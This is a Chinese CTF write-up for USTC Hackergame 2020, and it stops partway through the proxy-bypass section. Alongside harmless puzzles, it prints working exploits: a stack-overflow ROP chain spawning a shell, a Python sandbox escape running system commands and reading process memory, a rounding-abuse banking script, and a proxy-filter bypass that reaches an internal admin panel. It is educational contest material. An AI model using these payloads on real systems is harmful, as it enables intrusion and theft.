USTC Hackergame 2020 - Writeup

太菜了只打了 55 名,不过好玩,下次还来。

签到

打开题目,看到他要求我们提交的是一个整数

由于拖条设置的步进很小,因此很难准确拖到 1 的位置

<input
  type="range"
  id="number"
  name="number"
  class="form-control"
  value="0"
  min="0"
  max="1.5"
  step="0.00001"
/>

通过 F12 将改成 step="1" ,然后就可以很轻松拖到整数的位置了,然后提交即可拿到 flag

猫咪问答++

和往年类似的问答题,考验选手的搜索能力。

  1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个? Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.

太多了不想搜索,下一题

  1. 第一个以信鸽为载体的 IP 网络标准的 RFC 文档中推荐使用的 MTU (Maximum Transmission Unit) 是多少毫克?

在网上搜索「IP 信鸽」就能找到关键字「IP over Avian Carriers」,然后找到了他的 RFC1149

里面提到了这种「以鸟类为载体的网际协议」的 MTU 是 256 milligrams

  1. USTC Linux 用户协会在 2019 年 9 月 21 日自由软件日活动中介绍的开源游戏的名称共有几个字母?

https://lug.ustc.edu.cn/news/2019/09/2019-sfd-ustc/

最后一项是李文睿同学介绍了开源游戏 Teeworlds

  1. 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?

百度地图街景 yyds

https://map.baidu.com/poi/%E4%B8%AD%E5%9B%BD%E7%A7%91%E5%AD%A6%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%AD%A6(%E8%A5%BF%E6%A0%A1%E5%8C%BA)/@13053523.02265,3720271.1750600003,18z#panoid=09010500121705221534309496D&panotype=street&heading=341.1&pitch=-19.99&l=18

我不得不吐槽一下题目,图书馆前面有三排停车位,一时没太理解到他问的是哪排

反正答案就是上面链接面对的着的那排了,9 个

  1. 中国科学技术大学第六届信息安全大赛所有人合计提交了多少次 flag?

https://news.ustclug.org/2019/12/hackergame-2019/

比赛期间所有人合计提交了 17098 次 flag

这样 2345 题就解出来了,剩下第一题,直接丢 Burpsuite 里面跑一下就出来了,第一题答案是 12。我也不知道是哪个,反正就是 12 个哺乳动物

2048

经典游戏 2048 的进化版 16384

这题有几种解法,下面来给大家分别讲一下几种做法

解法一

慢慢玩直到通关

解法二

在你玩了一会之后,如果你刷新这个页面的话,你会发现你的游戏进度在这个浏览器上并不会丢失

查看 Cookies 并没有包含我们的游戏进度,并且我们每次操作也没有提交我们实时的状态去后端去算

游戏进度存储在本地的话,那么就是 Local Storage 了

看到里面有我们当前的游戏状态 gameState,里面包含了格子的状态

{"grid":{"size":4,"cells":[[null,null,{"position":{"x":0,"y":2},"value":2},null],[null,null,null,null],[null,null,null,null],[null,{"position":{"x":3,"y":1},"value":2},null,{"position":{"x":3,"y":3},"value":4}]]},"score":4,"over":false,"won":false,"keepPlaying":false}

想要快速通关的话,修改格子里面的 value,这个值代表了这个格子是什么进度的。

然后我修改了一份,大家可以拿去用,修改完这个值之后刷新页面即可看到。

{"grid":{"size":4,"cells":[[null,null,null,null],[null,null,{"position":{"x":1,"y":2},"value":4096},{"position":{"x":1,"y":3},"value":4096}],[null,null,null,{"position":{"x":2,"y":3},"value":4096}],[null,null,null,{"position":{"x":3,"y":3},"value":4096}]]},"score":0,"over":false,"won":false,"keepPlaying":false}

简单操作之后你就可以 大成功 了

解法三

直接看网站源代码

http://202.38.93.111:10005/static/js/html_actuator.js 里面有这么一段 Javascript 代码

if (won) {
  url = "/getflxg?my_favorite_fruit=" + ("b" + "a" + +"a" + "a").toLowerCase();
} else {
  url = "/getflxg?my_favorite_fruit=";
}

如果我们赢了那就去请求这个地址得到 flag,他这里简单藏了一下,在控制台执行一下就可以知道要传什么参数了

('b'+'a'+ +'a'+'a').toLowerCase()

直接访问 http://202.38.93.111:10005/getflxg?my_favorite_fruit=banana 即可拿到 flag

一闪而过的 Flag

送分题,懂的都懂

用你喜欢的命令行工具(cmd / Powershell)运行一下即可看到 flag

从零开始的记账工具人

题目给了我们一个 excel 表格,首先我们使用 LibreOffice Calc Excel 将其转换成 csv 格式便于后续处理,并去掉第一行

然后我找到了一个处理中文数字的 Python 库,Ailln/cn2an: 📦 快速转化「中文数字」和「阿拉伯数字」~ (最新特性:分数,日期、温度等转化)

将中文数字转换成阿拉伯数字之后,自己简单处理一下「元」「角」「分」的进制就好了

import cn2an

total = 0

with open('bills.csv') as f:
    for line in f:
        price, count = line.strip().split(',')
        if '元' in price:
            yuan, rest = price.split('元')
        else:
            yuan = "零"
            rest = price
        if '角' in rest:
            jiao, rest = rest.split('角')
        else:
            jiao = "零"
            fen = rest
        if '分' in rest:
            fen = rest.strip('分').replace('零', '')
        else:
            fen = "零"
        yuan = cn2an.cn2an(yuan)
        jiao = cn2an.cn2an(jiao)
        fen = cn2an.cn2an(fen)
        price = yuan + 0.1 * jiao + fen * 0.01
        total += price * int(count)

print(total)

超简单的世界模拟器

题目是一个有边界的「Conway’s Game of Life」

有一个坑的地方需要注意一下,注意题目「“清除”两个正方形」,这意味这两个正方形的初始状态是激活的,我们的目标是同时消除这两个正方形

题目的基本信息得了解清楚,画布的大小是 50x50,两个待消除的正方形坐标也需要弄清楚(见代码部分)

接着我找到了这个游戏的 Golang 实现,https://golang.org/doc/play/life.go ,并进行了一些小修改

代码的 diff patch 如下

7a8,9
> 	"os"
> 	"strings"
35,38c37,42
< 	x += f.w
< 	x %= f.w
< 	y += f.h
< 	y %= f.h
---
> 	if x < 0 || x > 49 {
> 		return false
> 	}
> 	if y < 0 || y > 49 {
> 		return false
> 	}
69,70c73,76
< 	for i := 0; i < (w * h / 4); i++ {
< 		a.Set(rand.Intn(w), rand.Intn(h), true)
---
> 	for x := 0; x < 15; x++ {
> 		for y := 0; y < 15; y++ {
> 			a.Set(x, y, rand.Int()%2 == 1)
> 		}
71a78,85
> 	a.Set(45, 5, true)
> 	a.Set(46, 5, true)
> 	a.Set(45, 6, true)
> 	a.Set(46, 6, true)
> 	a.Set(45, 25, true)
> 	a.Set(46, 25, true)
> 	a.Set(45, 26, true)
> 	a.Set(46, 26, true)
95c109
< 			b := byte(' ')
---
> 			b := byte('0')
97c111
< 				b = '*'
---
> 				b = '1'
105a120,136
> func run() {
> 	for {
> 		l := NewLife(50, 50)
> 		o := strings.Join(strings.Split(l.String(), "\n")[0:15], "\n")
> 		for i := 0; i < 200; i++ {
> 			l.Step()
> 		}
> 		// Target (6, 46) (6, 47) (7, 46) (7, 47) (26, 46) (26, 47) (27, 46) (27, 47)
> 		if !l.a.Alive(45, 5) && !l.a.Alive(46, 5) && !l.a.Alive(45, 6) && !l.a.Alive(46, 6) && !l.a.Alive(45, 25) && !l.a.Alive(46, 25) && !l.a.Alive(45, 26) && !l.a.Alive(46, 26) {
> 			fmt.Println(o)
> 			fmt.Println(">>>>>>>>>>")
> 			fmt.Println(l)
> 			os.Exit(0)
> 		}
> 	}
> }
>
107,111c138,140
< 	l := NewLife(40, 15)
< 	for i := 0; i < 300; i++ {
< 		l.Step()
< 		fmt.Print("\x0c", l) // Clear screen and print field.
< 		time.Sleep(time.Second / 30)
---
> 	rand.Seed(time.Now().UTC().UnixNano())
> 	for i := 0; i < 40; i++ {
> 		go run()
112a142
> 	select {}

一波操作下来,就找到了适合的 15x15 状态 一开始没注意到正方形的初始状态是存活的费了不少时间

只破坏一个正方形

100111000110111
001001000101011
001011100001001
100000001111111
000100110111111
001101001111011
110100100011011
001001101100100
010011101111100
111100100100110
011000011011111
110001011010111
100010111100101
001101100111110
000110001100110

破坏两个正方形

110001110111101
000111100000110
000111000001101
100001010000100
100010000111111
011000100011110
111010010111001
010110000110011
101110111000001
001000010001011
110100101101110
011000110110110
000111111101011
001011101001110
011011010101110

自复读的复读机

一开始看到题目,能执行我们的 python 代码,这不是随随便便就直接执行系统命令去看 flag 吗?对不起我错了

通过以下输入看到了程序的主程序

__builtins__.__dict__['__import__']('os').system('cat /checker.py')

import subprocess
import hashlib

if __name__ == "__main__":
    code = input("Your one line python code to exec(): ")
    print()
    if not code:
        print("Code must not be empty")
        exit(-1)
    p = subprocess.run(
        ["su", "nobody", "-s", "/bin/bash", "-c", "/usr/local/bin/python3 /runner.py"],
        input=code.encode(),
        stdout=subprocess.PIPE,
    )

    if p.returncode != 0:
        print()
        print("Your code did not run successfully")
        exit(-1)

    output = p.stdout.decode()

    print("Your code is:")
    print(repr(code))
    print()
    print("Output of your code is:")
    print(repr(output))
    print()

    print("Checking reversed(code) == output")
    if code[::-1] == output:
        print(open("/root/flag1").read())
    else:
        print("Failed!")
    print()

    print("Checking sha256(code) == output")
    if hashlib.sha256(code.encode()).hexdigest() == output:
        print(open("/root/flag2").read())
    else:
        print("Failed!")

他这里处理得非常好,两个 flag 都在 /root 目录下,主程序以 root 运行,我们不安全的输入降权成 nobody 用户运行

我们代码的输入在程序中以 subprocess.input 的形式传给了 /runner.py,而 /runner.py 的程序非常简单

exec(input())

那么我们从哪里能拿到我们的代码呢?内存!

我们的输入都在内存里面,那么我们从内存里面就能去到我们完整的输入了

参考了一下网上对于取 python 运行内存的方法,思路如下

  1. /proc/self/maps 得到 [heap] 堆的起始地址和结束地址
  2. /proc/self/mem,从堆的起始位置出发,搜索我输入代码的 index,然后向后取我们代码的长度就拿到我们的输入了

第一个 flag 的拿法

addr=open('/proc/self/maps','r').read().split('\n')[5].split()[0].split('-');start=int(addr[0],16);end=int(addr[1],16);mem=open('/proc/self/mem','rb');mem.seek(start);data=mem.read(end-start);idx=data.index(b'addr=');print(data[idx:idx+263].decode()[::-1],end='')

第二个 flag 的拿法大同小异,无非就是多了引入 hashlib 算 sha256 的过程

addr=open('/proc/self/maps','r').read().split('\n')[5].split()[0].split('-');start=int(addr[0],16);end=int(addr[1],16);mem=open('/proc/self/mem','rb');mem.seek(start);data=mem.read(end-start);idx=data.index(b'addr=');code=data[idx:idx+301];import hashlib;print(hashlib.sha256(code).hexdigest(),end='')

233 同学的字符串工具

字符串大写工具

之前做 CTF 的时候知道有些 Unicode 字符串在进行大小写变换后会变成正常的字母,因此思路就是找一个字符他的大写是我们 FLAG 中的某一个

i = 0
while True:
	i += 1
	c = chr(i)
	if c.upper() in ['F', 'L', 'A', 'G']:
		print(i, c.upper())

但是除了这个字母的大小写以外没找到,然后换换思路,找大写之后长度发生了改变的

i = 0
while True:
	i += 1
	c = chr(i)
	if len(c.upper()) != 1:
		print(i, c.upper())

于是我找到了 字符,这个字符大写之后是 FL

于是这一问的答案就是 flAG

UTF-7 到 UTF-8 转换工具

Wiki 中看到 = 可以在 UTF-7 中用 +AD0 表示,就硬爆破了一下…

cot = 255
for a in range(cot):
    for b in range(cot):
        for c in range(cot):
            before = '+' + chr(a) + chr(b) + chr(c)
            try:
                after = before.encode().decode('utf-7')
            except:
                continue
            if after in ['f', 'l', 'a', 'g']:
                print("%s %s %s %s %s %s" % (a, b, c, before, after, len(after)))

得到这样一个列表

65 71 69 +AGE a 1
65 71 89 +AGY f 1
65 71 99 +AGc g 1
65 71 119 +AGw l 1

实际测试了下带 + 号的得放在后面,于是用 +AGc 代替 g 提交完事

fla+AGc

233 同学的 Docker

Docker Hub 地址:8b8d3c8324c7/stringtool

这个页面 找到了 flag.txt 是在哪里被打入镜像以及在哪里被删除的

{
    digest: "sha256:3b79dda629c51bd67df372efa801ed0e48c730e0ce40e626388d0fe808656ae8"
    instruction: "COPY dir:c36852c2989cd5e8bc597bd3df377dd34026f95eb7c4f4b316ab3a549e3694d6 in /code/ "
    size: 782
}

然后在 这里 找到了下载特定 layer 的脚本,稍作改动

#!/bin/sh

set -eu

IMG_NAME=8b8d3c8324c7/stringtool
IMG_LAYER=sha256:3b79dda629c51bd67df372efa801ed0e48c730e0ce40e626388d0fe808656ae8

if ! which curl >/dev/null 2>&1; then
  echo "Please ensure that curl is installed (e.g. apt-get install curl)..."
  exit 1
fi

if ! which jq >/dev/null 2>&1; then
  echo "Please ensure that jq is installed (e.g. apt-get install jq)..."
  exit 1
fi

# Get a token
TOKEN=$(curl -sSL "https://auth.docker.io/token?service=registry.docker.io&scope=repository:${IMG_NAME}:pull" | jq -r .token)

# Fetch the layer
exec curl \
  -SL \
  -H "Authorization: Bearer $TOKEN" \
  -o flag.tgz \
  "https://registry-1.docker.io/v2/${IMG_NAME}/blobs/${IMG_LAYER}"

从零开始的 HTTP 链接

浏览器打不开,试图用 iptables 做 NAT 也不给我用 0 号端口

然后想到了 socat 做端口转发

socat TCP-LISTEN:5555,fork TCP4:202.38.93.111:0

访问本地的 5555 端口就完事了

超简陋的 OpenGL 小程序

虽然不知道为什么,但是在网上抄了两段 example 覆盖过去之后 flag 就出来了。

basic_lighting.vs

#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 1) in vec3 aNormal;

out vec3 FragPos;
out vec3 Normal;

uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;

void main()
{
    FragPos = vec3(model * vec4(aPos, 1.0));
    Normal = aNormal;

    gl_Position = vec4(aPos.x, aPos.y, aPos.z, 1.0);
}

basic_lighting.fs

#version 330 core
out vec4 FragColor;

in vec3 FragPos;
in vec3 Normal;
in vec3 LightPos;   // extra in variable, since we need the light position in view space we calculate this in the vertex shader

uniform vec3 lightColor;
uniform vec3 objectColor;

void main()
{
    // ambient
    float ambientStrength = 0.1;
    vec3 ambient = ambientStrength * lightColor;

     // diffuse
    vec3 norm = normalize(Normal);
    vec3 lightDir = normalize(LightPos - FragPos);
    float diff = max(dot(norm, lightDir), 0.0);
    vec3 diffuse = diff * lightColor;

    // specular
    float specularStrength = 0.5;
    vec3 viewDir = normalize(-FragPos); // the viewer is always at (0,0,0) in view-space, so viewDir is (0,0,0) - Position => -Position
    vec3 reflectDir = reflect(-lightDir, norm);
    float spec = pow(max(dot(viewDir, reflectDir), 0.0), 32);
    vec3 specular = specularStrength * spec * lightColor;

    vec3 result = (ambient + diffuse + specular) * objectColor;
    FragColor = vec4(result, 1.0);
}

(本来想截个图的但是远程桌面打不开)

生活在博弈树上

简单的 pwn 题目,先看一下基本信息

[*] '/home/imlonghao/Downloads/tictactoe'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

源代码的 163 行用了一个不安全的 gets(input); 产生了问题

虽然 Stack: Canary found 但是没在这个函数里面找到这个保护,直接溢出即可

flag1

在代码里面看到如果我们赢了的话(即 v15 == true),那么就会给我们返回一个 flag

在上面的上面的图里能看到,出问题的地方是 gets(&v12),看看栈上的布局

-0000000000000090 var_90          db ?  // v12
...
-0000000000000001 var_1           db ?  // v15

刚好,我们直接从 v12 一直溢出到 v15 然后写个 1 就成功了,代码如下

#!/usr/bin/env python3

from pwn import *
from struct import pack

proc = "./tictactoe"

context.binary = proc
context.log_level = "debug"

if args.R:
    p = remote("202.38.93.111", 10141)
    p.sendlineafter(
        "Please input your token: ",
        "YOUR_TOKEN",
    )
else:
    p = process(proc)

p.sendlineafter("such as (0,1):", "(2,2)" + "a" * (0x90 - 0x01 - 5) + "\x01")
p.interactive()

flag2

下一步应该是要我们拿到机器的权限,ldd 了一下提示是 不是动态可执行文件,那么就是用了静态链接的程序

通过 ROPgadget --binary tictactoe --ropchain 直接拿到了 ropchain,然后将 payload 贴到函数的返回地址处即可

-0000000000000090 var_90          db ?  // v12
...
-0000000000000001 var_1           db ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
#!/usr/bin/env python3

from pwn import *
from struct import pack

proc = "./tictactoe"

context.binary = proc
context.log_level = "debug"

if args.R:
    p = remote("202.38.93.111", 10141)
    p.sendlineafter(
        "Please input your token: ",
        "YOUR_TOKEN",
    )
else:
    p = process(proc)

# Padding goes here
payload = b""

payload += pack("<Q", 0x0000000000407228)  # pop rsi ; ret
payload += pack("<Q", 0x00000000004A60E0)  # @ .data
payload += pack("<Q", 0x000000000043E52C)  # pop rax ; ret
payload += b"/bin//sh"
payload += pack("<Q", 0x000000000046D7B1)  # mov qword ptr [rsi], rax ; ret
payload += pack("<Q", 0x0000000000407228)  # pop rsi ; ret
payload += pack("<Q", 0x00000000004A60E8)  # @ .data + 8
payload += pack("<Q", 0x0000000000439070)  # xor rax, rax ; ret
payload += pack("<Q", 0x000000000046D7B1)  # mov qword ptr [rsi], rax ; ret
payload += pack("<Q", 0x00000000004017B6)  # pop rdi ; ret
payload += pack("<Q", 0x00000000004A60E0)  # @ .data
payload += pack("<Q", 0x0000000000407228)  # pop rsi ; ret
payload += pack("<Q", 0x00000000004A60E8)  # @ .data + 8
payload += pack("<Q", 0x000000000043DBB5)  # pop rdx ; ret
payload += pack("<Q", 0x00000000004A60E8)  # @ .data + 8
payload += pack("<Q", 0x0000000000439070)  # xor rax, rax ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000402BF4)  # syscall

p.sendlineafter("such as (0,1):", b"a" * (0x90 + 0x8) + payload)
p.sendlineafter("such as (0,1):", "(1,1)")
p.sendlineafter("such as (0,1):", "(1,2)")
p.recvuntil("time~\n")
p.interactive()

狗狗银行

做的时候服务器挺流畅的,后面应该是被刷爆了

我们能在狗狗银行开储蓄卡和信用卡,储蓄卡可以存钱,信用卡可以借钱。(废话)

我们每天需要 10 块钱吃饭并结束一天,同时会计算当日利息

我们的目标是使总资产从 1000 变成 2000

看上去是不可能的,因为信用卡利率比储蓄卡利率高

但谁让这里是狗狗银行,经过了测试他存在四舍五入的问题

当我们储蓄卡余额是 167 元时,当天能拿到的利息不是 167*0.3%=0.501 ,而是四舍五入之后的 1 元,此时的实际利息变成了 1/167=0.5988%

同理,信用卡借 2099 元时,当天需要缴纳的利息不是 2099*0.5%=10.495,而是四舍五入之后的 10 元,此时的实际利息变成了 10/2099=0.476%

利用了这个规则,我们就能做到储蓄卡的利息比信用卡的高,从狗狗银行赚钱也有可能了

#!/usr/bin/env python3

import requests

token = "YOUR_TOKEN"


def reset():
    req = requests.post(
        "http://202.38.93.111:10100/api/reset",
        headers={
            "Authorization": "Bearer {}".format(token),
            "Accept": "application/json",
        },
    )
    if req.status_code != 200:
        print(req.text)


def transfer(src, dst, amount):
    req = requests.post(
        "http://202.38.93.111:10100/api/transfer",
        json={"src": src, "dst": dst, "amount": amount},
        headers={
            "Authorization": "Bearer {}".format(token),
            "Accept": "application/json",
        },
    )
    if req.status_code != 200:
        print(src, dst, amount, req.text)


# debit credit
def create(t):
    req = requests.post(
        "http://202.38.93.111:10100/api/create",
        json={"type": t},
        headers={
            "Authorization": "Bearer {}".format(token),
            "Accept": "application/json",
        },
    )
    if req.status_code != 200:
        print(t, req.text)


reset()
r = 100

for x in range(r):
    create("credit")
    for i in range(12):
        create("debit")
        transfer(2 + x * 13, 3 + i + x * 13, 167)
    transfer(2 + x * 13, 1, 95)

计划是开一堆卡,每张储蓄卡留 167 元,信用卡借 2099 元,运行上述脚本后,手动去网页点几天吃饭结算就能达到 2000 元

超基础的数理模拟器

解法一

纸笔手算

解法二

数字帝国永远的神

在使用自动化脚本的时候,题目有一个坑,每次都会给你一个新的 session,如果你不保存这个新的 session,那你程序就白给了

本来想用 sympy 算的,但是好慢啊,就直接用网上的接口了

跑一会,429,浏览器打开输个验证码继续跑,:)

使用了 pylatexenc 作为 latex 格式的解析,然后手动替换一些网站无法识别的符号,然后提交答案,输出 session

#!/usr/bin/env python3

import os
import time
import random
import requests
from pylatexenc.latex2text import LatexNodes2Text

SESSION = "YOUR_SESSION"
s = requests.Session()
s.get("http://202.38.93.111:10190/", cookies={"session": SESSION})


def get_question():
    resp = s.get("http://202.38.93.111:10190/", cookies={"session": SESSION}).text
    q = resp.split("\n")[65]
    return q[q.index("$") + 1 : -12]


def query_ans(f, a, b):
    resp = s.post(
        "https://zh.example.com/definiteintegralcalculator.php", # 网站方不允许程序调用所以域名被我改了
        headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Edg/86.0.622.62"
        },
        data={
            "function": f,
            "var": "x",
            "a": a,
            "b": b,
        },
    ).text
    try:
        ans = resp[resp.index("<span id=result1>") :]
    except:
        return 0
    ans = ans[17 : ans.index("&")].split(".")
    ans[1] = ans[1][:6]
    return ".".join(ans)


def submit(ans):
    s.post("http://202.38.93.111:10190/submit", data={"ans": ans})


while True:
    time.sleep(random.randint(5, 10))
    ques = get_question()
    text = LatexNodes2Text().latex_to_text(ques).split(" ")
    r = text[0][2:].split("^")
    _from = r[0]
    _to = r[1]
    f = " ".join(text[1:])
    print(f)
    f = f.replace("√", "sqrt")
    f = f.replace("   ", " * ")
    # f = f.replace("arctan", "atan")
    # f = f.replace("^", "**")
    print(f)

    ans = query_ans(f, _from, _to)
    # ans = integrate(eval(f), (x, _from, _to))
    print(ans)
    print(s.cookies.get("session"))

    if ans == 0:
        continue
    submit(ans)
    print()

超安全的代理服务器

找到 Secret

题目强调了推送(PUSH),而我们 http 头和其他常见的地方也没找到,那么应该就是 http2 的特性 Server Push 了,HTTP/2 Server Push - Wikipedia

简单来说这是用来加速静态资源的加载的,当然,你也可以把东西藏在里面

想知道服务器通过 HTTP/2 Server Push 推了什么给你有几种方式

一种是用 Wireshark,设置环境变量 SSLKEYLOGFILE 导出 DH 交换的私钥,然后在命令行启动浏览器

另一种是用支持 Server Push 的客户端,例如 nghttp

nghttp -v https://146.56.228.227/

他直接就列出来的服务器推送的内容,而 flag 也在里面

入侵管理中心

有了 Secret 之后就可以尝试连接管理中心,管理地址从首页来看地址是 http://127.0.0.1:8080,并且服务器还对代理的连接做了一些限制

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') https://www.ustc.edu.cn/

通过上述命令成功请求到的 USTC 的首页,看到 https 隧道的建立头是

> CONNECT www.ustc.edu.cn:443 HTTP/1.1
> Host: www.ustc.edu.cn:443
> User-Agent: curl/7.73.0
> Proxy-Connection: Keep-Alive
> Secret: 3fb0f4759f
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Content-Length: 0
Content-Length: 0
* Ignoring Content-Length in CONNECT 200 response

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') https://www.ustc.edu.cc/

将链接的域名改成 cn 后缀之后,代理隧道没建立起来,返回了 403

* Establish HTTP proxy tunnel to www.ustc.edu.cc:443
> CONNECT www.ustc.edu.cc:443 HTTP/1.1
> Host: www.ustc.edu.cc:443
> User-Agent: curl/7.73.0
> Proxy-Connection: Keep-Alive
> Secret: 3fb0f4759f
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
< Date: Sat, 07 Nov 2020 06:50:21 GMT
Date: Sat, 07 Nov 2020 06:50:21 GMT
< Content-Length: 549
Content-Length: 549
< Content-Type: text/html; charset=utf-8
Content-Type: text/html; charset=utf-8

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') https://www.ustc.edu.cn.cc/

将链接的域名改成 cn.cc 后缀之后,没有给我们返回 403 ,而是返回了 502,看上去是绕过了域名限制,只是由于该域名解析不出来 IP 造成的

> CONNECT www.ustc.edu.cn.cc:443 HTTP/1.1
> Host: www.ustc.edu.cn.cc:443
> User-Agent: curl/7.73.0
> Proxy-Connection: Keep-Alive
> Secret: 68eada3eec
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 502 Bad Gateway
< Date: Sat, 07 Nov 2020 06:55:43 GMT
< Content-Length: 533
< Content-Type: text/html; charset=utf-8

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') https://www.ustc.edu.cn.127.0.0.1.nip.io:8080/

使用 nip.io 的服务器,指向本地 127.0.0.1:8080 管理中心的地址

得到了祖传的 curl: (35) error:1408F10B:SSL routines:ssl3_get_record:wrong version number

这是用 https 协议访问 http 网站很常见的错误

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') http://www.ustc.edu.cn.127.0.0.1.nip.io:8080/

改成 http 协议后,发现他返回了网页本身的内容,而不是管理中心的

查看代理请求头看看有什么差别

> GET http://www.ustc.edu.cn.127.0.0.1.nip.io:8080/ HTTP/1.1
> Host: www.ustc.edu.cn.127.0.0.1.nip.io:8080
> User-Agent: curl/7.73.0
> Accept: */*
> Proxy-Connection: Keep-Alive
> Secret: 23c8e64e2a
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* Mark bundle as not supporting multiuse
< HTTP/1.1 505 HTTP Version Not Supported
< Date: Sat, 07 Nov 2020 06:58:27 GMT
< Content-Length: 964
< Content-Type: text/html; charset=utf-8

他这里直接没有使用 CONNECT 建立链接,因此不被支持返回了原来网站的内容

在查阅 curl 文档之后发现,只需要添加 -p 参数即可使用 CONNECT 建立链接

